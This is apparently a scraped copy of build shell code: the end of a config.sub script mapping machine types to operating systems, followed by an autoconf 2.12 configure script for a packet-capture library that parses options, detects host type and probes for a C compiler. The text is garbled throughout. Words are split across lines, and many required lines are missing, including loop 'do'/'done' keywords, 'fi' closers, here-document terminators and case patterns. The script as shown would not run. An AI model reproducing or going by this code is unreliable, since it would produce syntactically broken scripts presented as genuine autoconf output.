Get rid of the `-' at the beginning of $os.
os=`echo $os | sed
's/[^-]*-//'`
echo Invalid configuration \`$1\': system
\`$os\' not recognized 1>&2
exit 1
;;
esac
else
#
Here we handle the default operating systems that come with various
machines.
# The value should be what the vendor currently ships out the
door with their
# machine or put another way, the most popular os provided
with the machine.
# Note that if you're going to try to match
"-MANUFACTURER" here (say,
# "-sun"), then you have to
tell the case statement up towards the top
# that MANUFACTURER isn't an
operating system. Otherwise, code
above
# will signal an error saying that MANUFACTURER isn't an
operating
# system, and we'll never get to this point.
case
$basic_machine in
*-acorn)
os=-riscix1.2
;;
arm*-semi)
os=-aout
;;
pdp11-*)
os=-none
;;
*-dec | vax-*)
os=-ultrix4.2
;;
m68*-apollo)
os=-domain
;;
i386-sun)
os=-sunos4.0.2
;;
m68000-sun)
os=-sunos3
#
This also exists in the configure program, but was not the
#
default.
# os=-sunos4
;;
*-tti) #
must be before sparc entry or we get the wrong os.
os=-sysv3
;;
sparc-* | *-sun)
os=-sunos4.1.1
;;
*-ibm)
os=-aix
;;
*-hp)
os=-hpux
;;
*-hitachi)
os=-hiux
;;
i860-* | *-att | *-ncr | *-altos | *-motorola
| *-convergent)
os=-sysv
;;
*-cbm)
os=-amigados
;;
*-dg)
os=-dgux
;;
*-dolphin)
os=-sysv3
;;
m68k-ccur)
os=-rtu
;;
m88k-omron*)
os=-luna
;;
*-next )
os=-nextstep
;;
*-sequent)
os=-ptx
;;
*-crds)
os=-unos
;;
*-ns)
os=-genix
;;
i370-*)
os=-mvs
;;
*-next)
os=-nextstep3
;;
*-gould)
os=-sysv
;;
*-highlevel)
os=-bsd
;;
*-encore)
os=-bsd
;;
*-sgi)
os=-irix
;;
*-siemens)
os=-sysv4
;;
*-masscomp)
os=-rtu
;;
f301-fujitsu)
os=-uxpv
;;
os=-none
;;
esac
#
Here we handle the case where we know the os, and the CPU type, but not
the
# manufacturer. We pick the
logical manufacturer.
vendor=unknown
case $basic_machine in
*-unknown)
case $os in
-riscix*)
vendor=acorn
;;
-sunos*)
vendor=sun
;;
-aix*)
vendor=ibm
;;
-hpux*)
vendor=hp
;;
-hiux*)
vendor=hitachi
;;
-unos*)
vendor=crds
;;
-dgux*)
vendor=dg
;;
-luna*)
vendor=omron
;;
-genix*)
vendor=ns
;;
-mvs*)
vendor=ibm
;;
-ptx*)
vendor=sequent
;;
-vxsim* | -vxworks*)
vendor=wrs
;;
-aux*)
vendor=apple
;;
esac
basic_machine=`echo $basic_machine | sed
"s/unknown/$vendor/"`
;;
esac
echo
$basic_machine$os
#! /bin/sh
# Guess values for system-dependent
variables and create Makefiles.
# Generated automatically using autoconf
version 2.12
# Copyright (C) 1992, 93, 94, 95, 96 Free Software
Foundation, Inc.
# This configure script is free software; the Free
Software Foundation
# gives unlimited permission to copy, distribute and
modify it.
# Defaults:
ac_help=
ac_default_prefix=/usr/local
#
Any additions from configure.in:
ac_help="$ac_help
--without-gcc don't use
gcc"
ac_help="$ac_help
--with-pcap=TYPE use
packet capture TYPE"
ac_help="$ac_help
--without-flex don't use flex"
ac_help="$ac_help
--without-bison don't use bison"
# Initialize some variables set
by options.
# The variables have the same names as the options, with
#
dashes changed to underlines.
build=NONE
cache_file=./config.cache
exec_prefix=NONE
host=NONE
no_create=
nonopt=NONE
no_recursion=
prefix=NONE
program_prefix=NONE
program_suffix=NONE
program_transform_name=s,x,x,
silent=
site=
srcdir=
target=NONE
verbose=
x_includes=NONE
x_libraries=NONE
bindir='${exec_prefix}/bin'
sbindir='${exec_prefix}/sbin'
libexecdir='${exec_prefix}/libexec'
datadir='${prefix}/share'
sysconfdir='${prefix}/etc'
sharedstatedir='${prefix}/com'
localstatedir='${prefix}/var'
libdir='${exec_prefix}/lib'
includedir='${prefix}/include'
oldincludedir='/usr/include'
infodir='${prefix}/info'
mandir='${prefix}/man'
#
Initialize some other variables.
subdirs=
MFLAGS= MAKEFLAGS=
#
Maximum number of lines to put in a shell here document.
ac_max_here_lines=12
ac_prev=
for
ac_option
# If the previous
option needs an argument, assign it.
if test -n "$ac_prev"; then
eval "$ac_prev=\$ac_option"
ac_prev=
continue
fi
case "$ac_option" in
-*=*) ac_optarg=`echo "$ac_option"
| sed 's/[-_a-zA-Z0-9]*=//'` ;;
*) ac_optarg= ;;
esac
# Accept the
important Cygnus configure options, so we can diagnose typos.
case "$ac_option" in
-bindir | --bindir | --bindi | --bind |
--bin | --bi)
ac_prev=bindir
;;
-bindir=* | --bindir=* |
--bindi=* | --bind=* | --bin=* | --bi=*)
bindir="$ac_optarg" ;;
-build | --build | --buil | --bui |
--bu)
ac_prev=build ;;
-build=* | --build=* | --buil=* | --bui=* |
--bu=*)
build="$ac_optarg"
;;
-cache-file | --cache-file |
--cache-fil | --cache-fi \
|
--cache-f | --cache- | --cache | --cach | --cac | --ca | --c)
ac_prev=cache_file ;;
-cache-file=* | --cache-file=* |
--cache-fil=* | --cache-fi=* \
|
--cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* |
--c=*)
cache_file="$ac_optarg" ;;
-datadir | --datadir | --datadi | --datad | --data | --dat |
--da)
ac_prev=datadir ;;
-datadir=* | --datadir=* | --datadi=* |
--datad=* | --data=* | --dat=* \
| --da=*)
datadir="$ac_optarg" ;;
-disable-* | --disable-*)
ac_feature=`echo $ac_option|sed -e 's/-*disable-//'`
# Reject names that are not valid shell
variable names.
if test -n
"`echo $ac_feature| sed 's/[-a-zA-Z0-9_]//g'`"; then
{ echo "configure: error:
$ac_feature: invalid feature name" 1>&2; exit 1; }
fi
ac_feature=`echo $ac_feature| sed 's/-/_/g'`
eval "enable_${ac_feature}=no"
;;
-enable-* | --enable-*)
ac_feature=`echo $ac_option|sed -e
's/-*enable-//' -e 's/=.*//'`
#
Reject names that are not valid shell variable names.
if test -n "`echo $ac_feature| sed
's/[-_a-zA-Z0-9]//g'`"; then
{ echo "configure: error: $ac_feature: invalid feature name"
1>&2; exit 1; }
fi
ac_feature=`echo $ac_feature| sed
's/-/_/g'`
case
"$ac_option" in
*=*) ;;
*)
ac_optarg=yes ;;
esac
eval
"enable_${ac_feature}='$ac_optarg'" ;;
-exec-prefix | --exec_prefix | --exec-prefix
| --exec-prefi \
| --exec-pref |
--exec-pre | --exec-pr | --exec-p | --exec- \
| --exec | --exe | --ex)
ac_prev=exec_prefix ;;
-exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=*
\
| --exec-pref=* | --exec-pre=*
| --exec-pr=* | --exec-p=* | --exec-=* \
| --exec=* | --exe=* | --ex=*)
exec_prefix="$ac_optarg" ;;
-gas | --gas | --ga | --g)
# Obsolete; use --with-gas.
with_gas=yes ;;
-help | --help | --hel | --he)
# Omit some internal or obsolete options to make the list less
imposing.
# This message is too
long to be a string in the A/UX 3.1 sh.
cat << EOF
Usage: configure [options] [host]
Options:
[defaults in brackets after descriptions]
Configuration:
--cache-file=FILE cache test results in FILE
--help
print this message
--no-create do not
create output files
--quiet,
--silent do not print
\`checking...' messages
--version print the
version of autoconf that created configure
Directory and file names:
--prefix=PREFIX install architecture-independent files in PREFIX
[$ac_default_prefix]
--exec-prefix=EPREFIX install
architecture-dependent files in EPREFIX
[same as prefix]
--bindir=DIR user executables in DIR [EPREFIX/bin]
--sbindir=DIR system admin executables in DIR [EPREFIX/sbin]
--libexecdir=DIR program executables in DIR [EPREFIX/libexec]
--datadir=DIR read-only architecture-independent data in DIR
[PREFIX/share]
--sysconfdir=DIR read-only single-machine data in DIR [PREFIX/etc]
--sharedstatedir=DIR modifiable architecture-independent data
in DIR
[PREFIX/com]
--localstatedir=DIR
modifiable single-machine data in DIR [PREFIX/var]
--libdir=DIR object code libraries in DIR [EPREFIX/lib]
--includedir=DIR C header files in DIR [PREFIX/include]
--oldincludedir=DIR C header files for non-gcc in DIR
[/usr/include]
--infodir=DIR info documentation in DIR
[PREFIX/info]
--mandir=DIR man documentation in DIR
[PREFIX/man]
--srcdir=DIR find the sources in DIR [configure
dir or ..]
--program-prefix=PREFIX prepend PREFIX to installed program names
--program-suffix=SUFFIX append SUFFIX to
installed program names
--program-transform-name=PROGRAM
run sed PROGRAM on installed program
names
cat << EOF
Host
type:
--build=BUILD configure for building on BUILD
[BUILD=HOST]
--host=HOST configure for HOST [guessed]
--target=TARGET
configure for TARGET [TARGET=HOST]
Features and packages:
--disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no)
--enable-FEATURE[=ARG] include FEATURE [ARG=yes]
--with-PACKAGE[=ARG] use PACKAGE [ARG=yes]
--without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no)
--x-includes=DIR X include files are in DIR
--x-libraries=DIR X
library files are in DIR
if
test -n "$ac_help"; then
echo "--enable and --with options recognized:$ac_help"
fi
exit 0 ;;
-host |
--host | --hos | --ho)
ac_prev=host ;;
-host=* |
--host=* | --hos=* | --ho=*)
host="$ac_optarg" ;;
-includedir | --includedir | --includedi | --included | --include
\
| --includ | --inclu | --incl |
--inc)
ac_prev=includedir
;;
-includedir=* | --includedir=*
| --includedi=* | --included=* | --include=* \
| --includ=* | --inclu=* | --incl=* | --inc=*)
includedir="$ac_optarg" ;;
-infodir | --infodir | --infodi | --infod |
--info | --inf)
ac_prev=infodir
;;
-infodir=* | --infodir=* |
--infodi=* | --infod=* | --info=* | --inf=*)
infodir="$ac_optarg" ;;
-libdir | --libdir | --libdi | --libd)
ac_prev=libdir ;;
-libdir=* | --libdir=* | --libdi=* |
--libd=*)
libdir="$ac_optarg" ;;
-libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec
\
| --libexe | --libex |
--libe)
ac_prev=libexecdir
;;
-libexecdir=* | --libexecdir=*
| --libexecdi=* | --libexecd=* | --libexec=* \
| --libexe=* | --libex=* | --libe=*)
libexecdir="$ac_optarg" ;;
-localstatedir | --localstatedir |
--localstatedi | --localstated \
| --localstate | --localstat | --localsta | --localst \
| --locals | --local | --loca | --loc |
--lo)
ac_prev=localstatedir
;;
-localstatedir=* |
--localstatedir=* | --localstatedi=* | --localstated=* \
| --localstate=* | --localstat=* |
--localsta=* | --localst=* \
|
--locals=* | --local=* | --loca=* | --loc=* | --lo=*)
localstatedir="$ac_optarg" ;;
-mandir | --mandir | --mandi | --mand |
--man | --ma | --m)
ac_prev=mandir ;;
-mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* |
--m=*)
mandir="$ac_optarg" ;;
-nfp | --nfp | --nf)
#
Obsolete; use --without-fp.
with_fp=no ;;
-no-create |
--no-create | --no-creat | --no-crea | --no-cre \
| --no-cr | --no-c)
no_create=yes ;;
-no-recursion | --no-recursion |
--no-recursio | --no-recursi \
|
--no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r)
no_recursion=yes ;;
-oldincludedir | --oldincludedir | --oldincludedi | --oldincluded
\
| --oldinclude | --oldinclud |
--oldinclu | --oldincl | --oldinc \
| --oldin | --oldi | --old | --ol | --o)
ac_prev=oldincludedir ;;
-oldincludedir=* | --oldincludedir=* | --oldincludedi=* |
--oldincluded=* \
|
--oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=*
\
| --oldin=* | --oldi=* |
--old=* | --ol=* | --o=*)
oldincludedir="$ac_optarg" ;;
-prefix | --prefix | --prefi | --pref | --pre | --pr | --p)
ac_prev=prefix ;;
-prefix=* | --prefix=* | --prefi=* |
--pref=* | --pre=* | --pr=* | --p=*)
prefix="$ac_optarg" ;;
-program-prefix | --program-prefix | --program-prefi | --program-pref
\
| --program-pre | --program-pr
| --program-p)
ac_prev=program_prefix ;;
-program-prefix=* | --program-prefix=* | --program-prefi=* \
| --program-pref=* | --program-pre=* |
--program-pr=* | --program-p=*)
program_prefix="$ac_optarg" ;;
-program-suffix | --program-suffix | --program-suffi |
--program-suff \
| --program-suf
| --program-su | --program-s)
ac_prev=program_suffix ;;
-program-suffix=* | --program-suffix=* | --program-suffi=* \
| --program-suff=* | --program-suf=* |
--program-su=* | --program-s=*)
program_suffix="$ac_optarg" ;;
-program-transform-name | --program-transform-name \
| --program-transform-nam |
--program-transform-na \
|
--program-transform-n | --program-transform- \
| --program-transform | --program-transfor \
| --program-transfo | --program-transf
\
| --program-trans |
--program-tran \
| --progr-tra |
--program-tr | --program-t)
ac_prev=program_transform_name ;;
-program-transform-name=* | --program-transform-name=* \
| --program-transform-nam=* |
--program-transform-na=* \
|
--program-transform-n=* | --program-transform-=* \
| --program-transform=* |
--program-transfor=* \
|
--program-transfo=* | --program-transf=* \
| --program-trans=* | --program-tran=* \
| --progr-tra=* | --program-tr=* |
--program-t=*)
program_transform_name="$ac_optarg" ;;
-q | -quiet | --quiet | --quie | --qui |
--qu | --q \
| -silent | --silent
| --silen | --sile | --sil)
silent=yes ;;
-sbindir |
--sbindir | --sbindi | --sbind | --sbin | --sbi | --sb)
ac_prev=sbindir ;;
-sbindir=* | --sbindir=* | --sbindi=* |
--sbind=* | --sbin=* \
| --sbi=*
| --sb=*)
sbindir="$ac_optarg" ;;
-sharedstatedir | --sharedstatedir | --sharedstatedi \
| --sharedstated | --sharedstate |
--sharedstat | --sharedsta \
|
--sharedst | --shareds | --shared | --share | --shar \
| --sha | --sh)
ac_prev=sharedstatedir ;;
-sharedstatedir=* | --sharedstatedir=* |
--sharedstatedi=* \
|
--sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \
| --sharedst=* | --shareds=* | --shared=* |
--share=* | --shar=* \
| --sha=*
| --sh=*)
sharedstatedir="$ac_optarg" ;;
-site | --site | --sit)
ac_prev=site ;;
-site=* |
--site=* | --sit=*)
site="$ac_optarg" ;;
-srcdir | --srcdir | --srcdi | --srcd | --src | --sr)
ac_prev=srcdir ;;
-srcdir=* | --srcdir=* | --srcdi=* |
--srcd=* | --src=* | --sr=*)
srcdir="$ac_optarg" ;;
-sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf
\
| --syscon | --sysco | --sysc |
--sys | --sy)
ac_prev=sysc
onfdir ;;
-sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* |
--sysconf=* \
| --syscon=* |
--sysco=* | --sysc=* | --sys=* | --sy=*)
sysconfdir="$ac_optarg" ;;
-target | --target | --targe | --targ |
--tar | --ta | --t)
ac_prev=target
;;
-target=* | --target=* |
--targe=* | --targ=* | --tar=* | --ta=* | --t=*)
target="$ac_optarg" ;;
-v | -verbose | --verbose | --verbos |
--verbo | --verb)
verbose=yes
;;
-version | --version |
--versio | --versi | --vers)
echo "configure generated by autoconf version 2.12"
exit 0 ;;
-with-* | --with-*)
ac_package=`echo $ac_option|sed -e 's/-*with-//' -e 's/=.*//'`
# Reject names that are not valid shell
variable names.
if test -n
"`echo $ac_package| sed 's/[-_a-zA-Z0-9]//g'`"; then
{ echo "configure: error:
$ac_package: invalid package name" 1>&2; exit 1; }
fi
ac_package=`echo $ac_package| sed 's/-/_/g'`
case "$ac_option" in
*=*) ;;
*) ac_optarg=yes ;;
esac
eval
"with_${ac_package}='$ac_optarg'" ;;
-without-* | --without-*)
ac_package=`echo $ac_option|sed -e 's/-*without-//'`
# Reject names that are not valid shell
variable names.
if test -n
"`echo $ac_package| sed 's/[-a-zA-Z0-9_]//g'`"; then
{ echo "configure: error:
$ac_package: invalid package name" 1>&2; exit 1; }
fi
ac_package=`echo $ac_package| sed 's/-/_/g'`
eval "with_${ac_package}=no"
;;
--x)
# Obsolete; use --with-x.
with_x=yes ;;
-x-includes | --x-includes | --x-include |
--x-includ | --x-inclu \
|
--x-incl | --x-inc | --x-in | --x-i)
ac_prev=x_includes ;;
-x-includes=* | --x-includes=* | --x-include=* | --x-includ=* |
--x-inclu=* \
| --x-incl=* |
--x-inc=* | --x-in=* | --x-i=*)
x_includes="$ac_optarg" ;;
-x-libraries | --x-libraries | --x-librarie | --x-librari \
| --x-librar | --x-libra | --x-libr |
--x-lib | --x-li | --x-l)
ac_prev=x_libraries ;;
-x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=*
\
| --x-librar=* | --x-libra=* |
--x-libr=* | --x-lib=* | --x-li=* | --x-l=*)
x_libraries="$ac_optarg" ;;
-*) { echo "configure: error:
$ac_option: invalid option; use --help to show usage" 1>&2; exit 1;
}
;;
*)
if test -n "`echo $ac_option| sed 's/[-a-z0-9.]//g'`";
then
echo "configure:
warning: $ac_option: invalid host type" 1>&2
fi
if test "x$nonopt" != xNONE; then
{ echo "configure: error: can only
configure for one host and one target at a time" 1>&2; exit 1;
}
fi
nonopt="$ac_option"
;;
esac
done
if test -n "$ac_prev"; then
{ echo "configure: error: missing
argument to --`echo $ac_prev | sed 's/_/-/g'`" 1>&2; exit 1;
}
trap 'rm -fr conftest* confdefs* core core.* *.core $ac_clean_files;
exit 1' 1 2 15
# File descriptor usage:
# 0 standard input
# 1
file creation
# 2 errors and warnings
# 3 some systems may open it to
/dev/tty
# 4 used on the Kubota Titan
# 6 checking for... messages
and results
# 5 compiler messages saved in config.log
if test
"$silent" = yes; then
exec 6>/dev/null
else
exec 6>&1
exec 5>./config.log
echo "\
This
file contains any messages produced by compilers while
running configure,
to aid debugging if configure makes a mistake.
" 1>&5
#
Strip out --no-create and --no-recursion so they do not pile up.
# Also
quote any args containing shell metacharacters.
ac_configure_args=
for
ac_arg
case "$ac_arg"
in
-no-create | --no-create |
--no-creat | --no-crea | --no-cre \
| --no-cr | --no-c) ;;
-no-recursion | --no-recursion | --no-recursio | --no-recursi \
| --no-recurs | --no-recur | --no-recu |
--no-rec | --no-re | --no-r) ;;
*" "*|*" "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?]*)
ac_configure_args="$ac_configure_args
'$ac_arg'" ;;
*)
ac_configure_args="$ac_configure_args $ac_arg" ;;
esac
done
# NLS nuisances.
#
Only set these to C if already set.
These must not be set unconditionally
# because not all systems
understand e.g. LANG=C (notably SCO).
# Fixing LC_MESSAGES prevents
Solaris sh from translating var values in `set'!
# Non-C LC_CTYPE values
break the ctype check.
if test "${LANG+set}" = set; then LANG=C; export LANG; fi
if test "${LC_ALL+set}" = set; then LC_ALL=C;
export LC_ALL; fi
if test "${LC_MESSAGES+set}" = set; then
LC_MESSAGES=C; export LC_MESSAGES; fi
if test
"${LC_CTYPE+set}" = set; then
LC_CTYPE=C; export LC_CTYPE; fi
# confdefs.h avoids OS command
line length limits that DEFS can exceed.
rm -rf conftest* confdefs.h
#
AIX cpp loses on an empty file, so make sure it contains at least a
newline.
echo > confdefs.h
# A filename unique to this package,
relative to the directory that
# configure is in, which we can look for to
find out if srcdir is correct.
ac_unique_file=pcap.c
# Find the
source files, if location was not specified.
if test -z
"$srcdir"; then
ac_srcdir_defaulted=yes
#
Try the directory containing this script, then its parent.
ac_prog=$0
ac_confdir=`echo $ac_prog|sed 's%/[^/][^/]*$%%'`
test "x$ac_confdir" =
"x$ac_prog" && ac_confdir=.
srcdir=$ac_confdir
if test ! -r $srcdir/$ac_unique_file; then
srcdir=..
fi
else
ac_srcdir_defaulted=no
if test ! -r $srcdir/$ac_unique_file;
then
if test
"$ac_srcdir_defaulted" = yes; then
{ echo "configure: error: can not find sources in
$ac_confdir or .." 1>&2; exit 1; }
else
{ echo
"configure: error: can not find sources in $srcdir" 1>&2; exit
1; }
fi
srcdir=`echo
"${srcdir}" | sed 's%\([^/]\)/*$%\1%'`
# Prefer explicitly
selected file to automatically selected ones.
if test -z
"$CONFIG_SITE"; then
if
test "x$prefix" != xNONE; then
CONFIG_SITE="$prefix/share/config.site
$prefix/etc/config.site"
else
CONFIG_SITE="$ac_default_prefix/share/config.site
$ac_default_prefix/etc/config.site"
fi
for ac_site_file in $CONFIG_SITE; do
if test -r "$ac_site_file";
then
echo "loading site
script $ac_site_file"
.
"$ac_site_file"
fi
done
if test -r "$cache_file"; then
echo "loading cache
$cache_file"
.
$cache_file
else
echo
"creating cache $cache_file"
> $cache_file
ac_ext=c
# CFLAGS is not in ac_cpp because
-g, -O, etc. are not valid cpp options.
ac_cpp='$CPP $CPPFLAGS'
ac_compile='${CC-cc}
-c $CFLAGS $CPPFLAGS conftest.$ac_ext 1>&5'
ac_link='${CC-cc} -o
conftest $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS 1>&5'
cross_compiling=$ac_cv_prog_cc_cross
if
(echo "testing\c"; echo 1,2,3) | grep c >/dev/null; then
# Stardent Vistra SVR4 grep lacks -e, says
ghazi@caip.rutgers.edu.
if (echo
-n testing; echo 1,2,3) | sed s/-n/xn/ | grep xn >/dev/null; then
ac_n= ac_c='
' ac_t=' '
else
ac_n=-n ac_c=
ac_t=
fi
else
ac_n= ac_c='\c' ac_t=
ac_aux_dir=
for
ac_dir in $srcdir $srcdir/.. $srcdir/../..; do
if test -f $ac_dir/install-sh; then
ac_aux_dir=$ac_dir
ac_install_sh="$ac_aux_dir/install-sh
-c"
break
elif test -f $ac_dir/install.sh; then
ac_aux_dir=$ac_dir
ac_install_sh="$ac_aux_dir/install.sh
-c"
break
fi
done
if test -z
"$ac_aux_dir"; then
{
echo "configure: error: can not find install-sh or install.sh in $srcdir
$srcdir/.. $srcdir/../.." 1>&2; exit 1; }
ac_config_guess=$ac_aux_dir/config.guess
ac_config_sub=$ac_aux_dir/config.sub
ac_configure=$ac_aux_dir/configure
# This should be Cygnus configure.
# Do some error checking and defaulting
for the host and target type.
# The inputs are:
# configure --host=HOST --target=TARGET
--build=BUILD NONOPT
# The rules are:
# 1. You are not allowed to
specify --host, --target, and nonopt at the
# same time.
# 2. Host defaults to nonopt.
# 3. If
nonopt is not specified, then host defaults to the current host,
# as determined by config.guess.
# 4.
Target and build default to nonopt.
# 5. If nonopt is not specified, then
target and build default to host.
# The aliases save the names the user
supplied, while $host etc.
# will get canonicalized.
case
$host---$target---$nonopt in
NONE---*---* | *---NONE---* | *---*---NONE)
;;
*) { echo "configure: error: can only configure for one host and
one target at a time" 1>&2; exit 1; } ;;
esac
# Make sure
we can run config.sub.
if $ac_config_sub sun4 >/dev/null 2>&1;
then :
else { echo "configure: error: can not run $ac_config_sub"
1>&2; exit 1; }
echo $ac_n "checking host system
type""... $ac_c" 1>&6
echo "configure:578:
checking host system type" >&5
host_alias=$host
case
"$host_alias" in
NONE)
case $nonopt in
NONE)
if
host_alias=`$ac_config_guess`; then :
else { echo "configure: error: can not guess host type; you must
specify one" 1>&2; exit 1; }
fi ;;
*)
host_alias=$nonopt ;;
esac
;;
esac
host=`$ac_config_sub $host_alias`
host_cpu=`echo $host |
sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
host_vendor=`echo $host | sed
's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
host_os=`echo $host | sed
's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
echo
"$ac_t""$host" 1>&6
echo $ac_n "checking
target system type""... $ac_c" 1>&6
echo
"configure:599: checking target system type" >&5
target_alias=$target
case
"$target_alias" in
NONE)
case $nonopt in
NONE)
target_alias=$host_alias ;;
*)
target_alias=$nonopt ;;
esac
;;
esac
target=`$ac_config_sub $target_alias`
target_cpu=`echo
$target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
target_vendor=`echo
$target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
target_os=`echo
$target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
echo
"$ac_t""$target" 1>&6
echo $ac_n "checking
build system type""... $ac_c" 1>&6
echo
"configure:617: checking build system type" >&5
build_alias=$build
case
"$build_alias" in
NONE)
case $nonopt in
NONE)
build_alias=$host_alias ;;
*)
build_alias=$nonopt ;;
esac
;;
esac
build=`$ac_config_sub $build_alias`
build_cpu=`echo
$build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
build_vendor=`echo
$build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
build_os=`echo $build |
sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
echo
"$ac_t""$build" 1>&6
test
"$host_alias" != "$target_alias" &&
test
"$program_prefix$program_suffix$program_transform_name" = \
NONENONEs,x,x, &&
program_prefix=${target_alias}-
umask
002
if test -z "$PWD" ; then
PWD=`pwd`
# Check whether --with-gcc or --without-gcc was given.
if test
"${with_gcc+set}" = set; then
withval="$with_gcc"
V_CCOPT="-O"
V_INCLS=""
if
test "${srcdir}" != "." ; then
V_INCLS="-I\$\(srcdir\)"
fi
if test
"${CFLAGS+set}" = set; then
LBL_CFLAGS="$CFLAGS"
fi
if test -z "$CC" ; then
case
"$target_os" in
bsdi*)
# Extract the first word of
"shlicc2", so it can be a program name with args.
set dummy
shlicc2; ac_word=$2
echo $ac_n "checking for $ac_word""...
$ac_c" 1>&6
echo "configure:671: checking for
$ac_word" >&5
if eval "test \"`echo
'$''{'ac_cv_prog_SHLICC2'+set}'`\" = set"; then
echo $ac_n "(cached) $ac_c"
1>&6
else
if test -n
"$SHLICC2"; then
ac_cv_prog_SHLICC2="$SHLICC2" # Let the user override the
test.
else
IFS="${IFS= }"; ac_save_ifs="$IFS";
IFS="${IFS}:"
for
ac_dir in $PATH; do
test -z
"$ac_dir" && ac_dir=.
if test -f $ac_dir/$ac_word; then
ac_cv_prog_SHLICC2="yes"
break
fi
done
IFS="$ac_save_ifs"
test -z "$ac_cv_prog_SHLICC2"
&& ac_cv_prog_SHLICC2="no"
SHLICC2="$ac_cv_prog_SHLICC2"
if
test -n "$SHLICC2"; then
echo "$ac_t""$SHLICC2" 1>&6
else
echo "$ac_t""no"
1>&6
if test $SHLICC2 = yes ; then
CC=shlicc2
export CC
fi
;;
esac
fi
if test -z
"$CC" -a "$with_gcc" = no ; then
CC=cc
export CC
fi
# Extract
the first word of "gcc", so it can be a program name with args.
set
dummy gcc; ac_word=$2
echo $ac_n "checking for
$ac_word""... $ac_c" 1>&6
echo "configure:711:
checking for $ac_word" >&5
if eval "test \"`echo
'$''{'ac_cv_prog_CC'+set}'`\" = set"; then
echo
$ac_n "(cached) $ac_c" 1>&6
else
if test -n "$CC"; then
ac_cv_prog_CC="$CC" # Let the user
override the test.
else
IFS="${IFS= }";
ac_save_ifs="$IFS"; IFS="${IFS}:"
for ac_dir in $PATH; do
test -z "$ac_dir" &&
ac_dir=.
if test -f $ac_dir/$ac_word;
then
ac_cv_prog_CC="gcc"
break
fi
done
IFS="$ac_save_ifs"
CC="$ac_cv_prog_CC"
if
test -n "$CC"; then
echo "$ac_t""$CC" 1>&6
else
echo "$ac_t""no"
1>&6
if test -z "$CC"; then
# Extract the first word of "cc",
so it can be a program name with args.
set dummy cc; ac_word=$2
echo
$ac_n "checking for $ac_word""... $ac_c" 1>&6
echo
"configure:740: checking for $ac_word" >&5
if eval
"test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set";
then
echo $ac_n "(cached)
$ac_c" 1>&6
else
if test -n "$CC"; then
ac_cv_prog_CC="$CC" # Let the user override the test.
else
IFS="${IFS= }"; ac_save_ifs="$IFS";
IFS="${IFS}:"
ac_prog_rejected=no
for
ac_dir in $PATH; do
test -z
"$ac_dir" && ac_dir=.
if test -f $ac_dir/$ac_word; then
if test "$ac_dir/$ac_word" =
"/usr/ucb/cc"; then
ac_prog_rejected=yes
continue
fi
ac_cv_prog_CC="cc"
break
fi
done
IFS="$ac_save_ifs"
if test
$ac_prog_rejected = yes; then
#
We found a bogon in the path, so make sure we never use it.
set dummy $ac_cv_prog_CC
shift
if test $# -gt 0; then
#
We chose a different compiler from the bogus one.
# However, it has the same basename, so
the bogon will be chosen
#
first if we set CC to just the basename; use the full file name.
shift
set dummy "$ac_dir/$ac_word" "$@"
shift
ac_cv_prog_CC="$@"
fi
CC="$ac_cv_prog_CC"
if test -n
"$CC"; then
echo
"$ac_t""$CC" 1>&6
else
echo "$ac_t""no"
1>&6
test -z
"$CC" && { echo "configure: error: no acceptable cc
found in \$PATH" 1>&2; exit 1; }
echo $ac_n "checking
whether the C compiler ($CC $CFLAGS $LDFLAGS) works""... $ac_c"
1>&6
echo "configure:788: checking whether the C compiler ($CC
$CFLAGS $LDFLAGS) works" >&5
ac_ext=c
# CFLAGS is not in ac_cpp
because -g, -O, etc. are not valid cpp options.
ac_cpp='$CPP
$CPPFLAGS'
ac_compile='${CC-cc} -c $CFLAGS $CPPFLAGS conftest.$ac_ext
1>&5'
ac_link='${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS
conftest.$ac_ext $LIBS 1>&5'
cross_compiling=$ac_cv_prog_cc_cross
cat
> conftest.$ac_ext <<EOF
#line 798 "configure"
#include
"confdefs.h"
main(){return(0);}
if { (eval echo
configure:802: \"$ac_link\") 1>&5; (eval $ac_link)
2>&5; } && test -s conftest; then
ac_cv_prog_cc_works=yes
# If we can't run a trivial program, we are
probably using a cross compiler.
if (./conftest; exit) 2>/dev/null; then
ac_cv_prog_cc_cross=no
else
ac_cv_prog_cc_cross=yes
fi
else
echo
"configure: failed program was:" >&5
cat conftest.$ac_ext >&5
ac_cv_prog_cc_works=no
rm -fr
conftest*
echo "$ac_t""$ac_cv_prog_cc_works"
1>&6
if test $ac_cv_prog_cc_works = no; then
{ echo "configure: error: installation
or configuration problem: C compiler cannot create executables."
1>&2; exit 1; }
echo $ac_n "checking whether the C compiler
($CC $CFLAGS $LDFLAGS) is a cross-compiler""... $ac_c"
1>&6
echo "configure:822: checking whether the C compiler ($CC
$CFLAGS $LDFLAGS) is a cross-compiler" >&5
echo
"$ac_t""$ac_cv_prog_cc_cross" 1>&6
cross_compiling=$ac_cv_prog_cc_cross
echo
$ac_n "checking whether we are using GNU C""... $ac_c"
1>&6
echo "configure:827: checking whether we are using GNU
C" >&5
